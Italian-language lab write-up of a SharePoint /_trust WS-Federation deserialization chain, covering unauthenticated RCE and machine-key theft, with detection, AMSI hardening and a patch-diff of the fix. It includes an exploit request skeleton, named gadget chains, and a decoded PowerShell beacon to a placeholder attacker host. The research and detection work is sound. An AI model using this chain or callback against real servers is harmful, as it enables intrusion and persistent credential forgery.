
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust Deserializzazione WS-Federation: PoC e Note di RilevamentoWriteup live (GitHub Pages): https://sp-poc.wismansec.com/ (rendering HTML di questo documento).
Interessati: SharePoint Server 2016, 2019 e Subscription Edition.
Ricostruzione di un'intrusione in SharePoint Server (Subscription Edition) in un laboratorio isolato, realizzata per (a) comprendere la piena capacità dell'attaccante, (b) determinare cosa un difensore dovrebbe cercare, inclusa la persistenza stealth, e (c) condividere un PoC per aiutare altri investigatori.
Solo ricerca autorizzata. Tutto ciò che è descritto qui è stato eseguito su hardware e account di laboratorio isolati e di proprietà personale, contro una build volutamente lasciata senza patch per il test. Il problema di fondo è risolto dal vendor; applicare gli aggiornamenti correnti. Non eseguire questo contro sistemi che non possiedi e per i quali non hai esplicita autorizzazione al test. I valori delle machine key, i nomi host/IP interni e i domini di callback sono oscurati nel testo e negli artefatti di esempio. Gli screenshot del SIEM non sono modificati e riportano i nomi reali del laboratorio; vedere la nota nel §4.
/_trustPOST /_trust/default.aspx non autenticata (accesso WS-Federation) con un SecurityContextToken malevolo innesca la deserializzazione BinaryFormatter nel worker di SharePoint (w3wp.exe), ottenendo esecuzione remota di codice come identità del pool di applicazioni web./_trust lo rileva e lo blocca; vedere §5). Quelle chiavi permettono a un attaccante di forgiare token __VIEWSTATE/di autenticazione che sopravvivono al patching./_trust, che è l'unico artefatto presente in ogni variante.SharePoint espone un endpoint di accesso passivo WS-Federation su /_trust/default.aspx. Una risposta di accesso creata ad hoc (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) incorpora un SecurityContextToken il cui elemento <Cookie> è uno stream BinaryFormatter compresso DEFLATE e codificato in base64. Lato server, quel cookie viene decompresso e deserializzato senza restrizioni di tipo, quindi una gadget chain (tramite ysoserial.net) esegue codice controllato dall'attaccante dentro w3wp.exe.
Scheletro della richiesta (non autenticata):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Script (sanitizzati) in scripts/: una RCE OOB parametrizzata e il key-dump in due fasi. La consegna del payload usa PowerShell -EncodedCommand così i payload multi-istruzione sopravvivono intatti ai layer cmd.exe/di trasporto (nessuna rottura di quoting con ;/&&).
Farm SharePoint SE singola (build fissata pre-fix), identità del pool di applicazioni LAB\sp_pool, PowerShell 5.1, Microsoft Defender attivo con protezione cloud. La telemetria (Windows Event Log, log di SharePoint, Defender for Endpoint) veniva inviata a nano, un SIEM open-source leggero; l'host attaccante eseguiva ysoserial.net; un client interactsh forniva il listener OOB. Indirizzi e domini sono oscurati nel testo; vedere la nota sugli screenshot nel §4.
Ogni riga è una detonazione reale; artefatti estratti dal SIEM + listener OOB per ogni esecuzione.
Gli screenshot non sono modificati. Riportano i nomi host e NetBIOS reali del laboratorio, che sono grezzi e diversi da quelli sanitizzati
SHAREPOINT01/LABusati nel testo. Stesse esecuzioni, stessi eventi, nulla di messo in scena. Equivalenti sicuri per il lavoro inartifacts/.
Questi esiti valgono per la configurazione AMSI predefinita (modalità Balanced, /_trust non scansionato). Con la scansione AMSI del body della richiesta su /_trust abilitata (modalità Full o mirata), ogni riga viene invece bloccata al livello della richiesta: HTTP 400, Exploit:Script/SpCookieExec.A, prima dell'esecuzione (vedere §5).

Tutte e quattro le detonazioni documentate, dalle 15:01 alle 15:18 UTC, ogni figlio di w3wp.exe in esecuzione come identità del pool. Tre su quattro sono powershell.exe generati direttamente. Solo l'esecuzione delle 15:03:34 passa da cmd.exe, e solo quella è stata rilevata. Allargando la finestra oltre questa, anche le iterazioni di sviluppo precedenti della stessa mattina entrano nel set di risultati, quindi l'affermazione è limitata a queste quattro esecuzioni.

Invocazione predefinita: w3wp.exe → cmd.exe → powershell.exe, con conhost.exe affiancato. Questa è la forma su cui fa leva Behavior:Win32/WebshellLauncher.A.

Invocazione -RawCmd, stessa primitiva e stesso payload, con il passaggio cmd.exe rimosso. Defender non ha prodotto nulla per questa esecuzione. Una rilevazione basata su w3wp → cmd la manca del tutto.

Ogni evento Defender nella stessa finestra di 25 minuti che conteneva quattro detonazioni. Tutti e tre appartengono alla singola esecuzione con cmd.exe: due malware_detected a Severe, poi malware_action_taken con azione Remove. La remediation non ha battuto il beacon, che si è completato per primo.
Riga di comando chiave recuperata verbatim dal Security 4688 (la codifica ≠ evasione):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

La riga di comando codificata come appare nel SIEM. È base64 di UTF-16LE e nient'altro; base64 -d | iconv -f utf-16le -t utf-8 recupera il callback in un solo passaggio. La codifica non è offuscamento.
I due frame seguenti coprono l'identica finestra di 90 secondi in cui le machine key della farm sono state sottratte.

Senza filtri, la finestra contiene 20 eventi. L'host è vivo e invia telemetria.

Filtrata per i figli di w3wp.exe, la stessa finestra è vuota. Nessun processo, nessun evento Defender, nessun beacon. Le chiavi sono uscite tramite la risposta HTTP e l'unico artefatto lato host era la richiesta /_trust stessa, che questo SIEM non stava raccogliendo. Applicare le patch non revoca le chiavi sottratte; ruotarle.
Divulgazione -Diag catturata al listener OOB (decodificata da URL):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
L'unica firma presente in ogni variante. Cercare prima questa:
POST /_trust/default.aspx con body wa=wsignin1.0 e un wresult contenente RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. Non autenticata, spesso User-Agent anomalo. Baseline degli stati di risposta: il traffico legittimo di accesso WS-Federation verso questo endpoint è prevalentemente HTTP 302; l'exploit restituisce altri stati (200, 500, un reset della connessione o 400 quando AMSI blocca). Dove l'endpoint ha un volume reale di accessi, trattare una risposta non-302 a una POST /_trust/default.aspx come anomala. Lo stato da solo non conferma il successo dell'exploit; un'esecuzione riuscita ha restituito sia 200 sia un reset.Basato sui processi (solo varianti RCE):
w3wp.exe che genera cmd.exe o powershell.exe direttamente. La variante -RawCmd rimuove il passaggio cmd.exe e sfugge a WebshellLauncher.A, quindi non basarsi esclusivamente su w3wp→cmd.powershell.exe -EncodedCommand sotto w3wp: decodificare il blob direttamente dal 4688 (non è offuscato a riposo).w3wp.exe → whoami.exe (ricognizione), o conhost.exe figlio.Due riscontri che influenzano le decisioni di risposta:
Behavior:Win32/WebshellLauncher.A e l'ha corretta, si è osservato che il beacon in uscita si completava prima della fine della remediation in almeno un'esecuzione. Trattare tale rilevazione come un possibile callback riuscito e rivedere i log DNS, proxy e di uscita per la destinazione del callback intorno all'orario della rilevazione.w3wp.exe e restituisce le chiavi nella risposta HTTP, quindi l'unica evidenza lato host è la richiesta POST /_trust/default.aspx e la sua risposta. Che venga rilevata dipende dalla configurazione della scansione AMSI del body della richiesta.MITRE ATT&CK: T1190 (exploit dell'applicazione esposta pubblicamente) · T1059.001 (PowerShell) · T1552 (credenziali non protette: machine key) · T1550 (uso di materiale di autenticazione forgiato, post-furto).
Entrambe le chain consegnano il payload nel body della richiesta POST /_trust/default.aspx. Se Microsoft Defender ispeziona quel payload è determinato dalla configurazione di scansione AMSI del body della richiesta di SharePoint per l'applicazione web. Sono state testate tre configurazioni direttamente contro questa farm (SharePoint Server Subscription Edition, Microsoft Defender):
| Configurazione AMSI del body della richiesta | Risultato |
|---|---|
Modalità Balanced, /_trust/default.aspx non nell'elenco degli endpoint mirati (predefinita) | body della richiesta non scansionato; entrambe le chain eseguono; nessuna rilevazione Defender |
Nella configurazione predefinita il body della richiesta non viene ispezionato, quindi sia la RCE sia la divulgazione delle machine key si completano senza produrre alcuna rilevazione AMSI. In entrambe le configurazioni di scansione la richiesta viene rifiutata con HTTP 400 prima della deserializzazione, non viene creato alcun processo worker e Defender registra:
| Campo | Valore |
|---|
Poiché la richiesta viene bloccata prima che qualsiasi codice venga eseguito, non viene creato alcun processo figlio e non vengono prodotti eventi Security 4688 di creazione processi per nessuna delle due chain. La variante RCE che genera powershell.exe direttamente (senza un cmd.exe intermedio) viene bloccata in modo identico.
Configurazione (SharePoint Management Shell, per applicazione web):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / aggiornare machineKey in web.config + IISReset) su qualsiasi farm potenzialmente raggiunta. Applicare le patch ferma la RCE ma non revoca le chiavi già sottratte; la rotazione rimuove la capacità dell'attaccante di forgiare FedAuth / SecurityContextToken / __VIEWSTATE per la persistenza.POST /_trust/default.aspx. L'accesso WS-Federation legittimo colpisce anche questo endpoint con wa=wsignin1.0, quindi basarsi sulla struttura specifica dell'exploit, non solo sull'endpoint: un wresult il cui token è un <SecurityContextToken> con un <Cookie> in base64 (namespace http://schemas.microsoft.com/ws/2006/05/security; l'accesso legittimo trasporta invece un'asserzione SAML firmata), insieme a una risposta non-302 (200/500/400 o un reset) e a uno User-Agent scriptato/anomalo. Il key-dump invia due di queste POST in rapida successione. Se presenti, presupporre il compromesso delle chiavi.L'analisi statica del fix del vendor conferma il meccanismo e chiarisce se la RCE necessita delle machine key sottratte: non ne ha bisogno. Metodo: binary patch-diff di Microsoft.SharePoint.IdentityModel.dll tra la CU di giugno (KB5002873, 16.0.19725.20384) e la CU di luglio (KB5002882, 16.0.19725.20434); decompilato e confrontato, in sola lettura.
Il percorso di lettura sfruttato è SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (una sottoclasse di System.IdentityModel.Tokens.SessionSecurityTokenHandler). La modifica:
Interpretazione. La catena di trasformazione pre-patch era solo deflate, senza crittografia e senza trasformazione MAC/firma basata sulla machine key. Il ReadToken base applica le trasformazioni e deserializza il valore del cookie, quindi un token forgiato viene espanso e deserializzato senza alcun gate di validazione della machine key; la gadget scatta senza ValidationKey/DecryptionKey (indipendente dalle chiavi). Il fix rimuove il sink (la trasformazione e ReadToken lanciano eccezione) invece di aggiungere un controllo di firma/decifratura, confermando che non c'era alcun gate basato su chiavi da correggere.
Conseguenza. La divulgazione delle machine key è un obiettivo di persistenza separato (forgiare FedAuth / SecurityContextToken / __VIEWSTATE), non un prerequisito per la RCE; il key-dump è a sua volta una RCE sullo stesso percorso e viene eseguito prima che qualsiasi chiave venga sottratta.
Nella stessa CU di luglio viene inclusa una seconda correzione non correlata: la validazione della firma dei token actor JWT in SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens da false a true, nuovo VerifyActorTokenSignature), un percorso distinto di actor-token OAuth / server-to-server, non il percorso dei token di sessione WS-Federation trattato qui.
Applicazione del fix. Il fix è la CU di luglio (KB5002882): sostituisce la trasformazione cookie solo-deflate con una che lancia eccezione, rimuovendo il sink. Dopo l'installazione, verificare che nessuna impostazione della farm lo annulli o lo bypassi. SessionCookieTransformProtectionEnabled impostato a false ripristina il cookie del token di sessione alla vulnerabile trasformazione solo-deflate (riaprendo RCE e key-dump), e il flag di debug DisableActorTokenSignatureValidation riapre il bypass separato della firma degli actor-token JWT corretto nello stesso aggiornamento.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Chain | Gadget | Effetto | Canale di uscita |
|---|
| RCE OOB | TypeConfuseDelegate → -EncodedCommand PowerShell | esecuzione di codice come identità del pool | out-of-band (beacon HTTP/DNS) |
| Divulgazione delle machine key | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (compila KeyDump.cs in-process) | estrae ValidationKey/DecryptionKey | inline nella risposta HTTP |
| Invocazione | Albero dei processi (come LAB\sp_pool, High) | Defender | Beacon OOB | Artefatti principali |
|---|
| RCE OOB, predefinita | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 rilevamento / 1117 rimozione) | arrivato (gara) | albero 4688; Defender 1116/1117; POST /_trust |
RCE OOB, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (senza cmd) | nessuno | arrivato (DNS+HTTP) | albero 4688; POST /_trust; beacon |
RCE OOB, -DropFile | w3wp.exe → powershell.exe | nessuno | arrivato | scrittura file in …\TEMPLATE\LAYOUTS\ (non nel log con audit degli accessi agli oggetti) |
RCE OOB, -Diag | w3wp.exe → powershell.exe → whoami.exe | nessuno | arrivato | esfiltrazione di informazioni sull'ambiente: {host, whoami, PSver, LanguageMode} |
| Dump delle machine key | (nessuno, in-process) | nessuno | (nessuno) | solo la POST /_trust + risposta anomala con le chiavi |
Modalità Balanced, /_trust/default.aspx aggiunto come endpoint mirato | body della richiesta scansionato; richiesta bloccata |
| Modalità Full (tutti gli endpoint scansionati) | body della richiesta scansionato; richiesta bloccata |
| Minaccia | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Gravità / categoria | Severe / Exploit |
| Sorgente di rilevazione | AMSI |
| Azione | Quarantine |
| Processo | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE forgiato / autenticazione anomala dopo la prima data di comparsa./_trust (modalità Full, oppure aggiungere /_trust/default.aspx come endpoint mirato in Balanced; vedere §5). Questo blocca sia la RCE sia il key-dump al livello della richiesta, prima dell'esecuzione.| Giugno (vulnerabile) | Luglio (corretto) |
|---|
| Catena di trasformazione cookie | s_Transforms = { new DeflateCookieTransform() } (solo deflate) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode lanciano eccezione) |
Override di ReadToken | nessuno (eredita il ReadToken base) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) lanciano tutti NotSupportedException |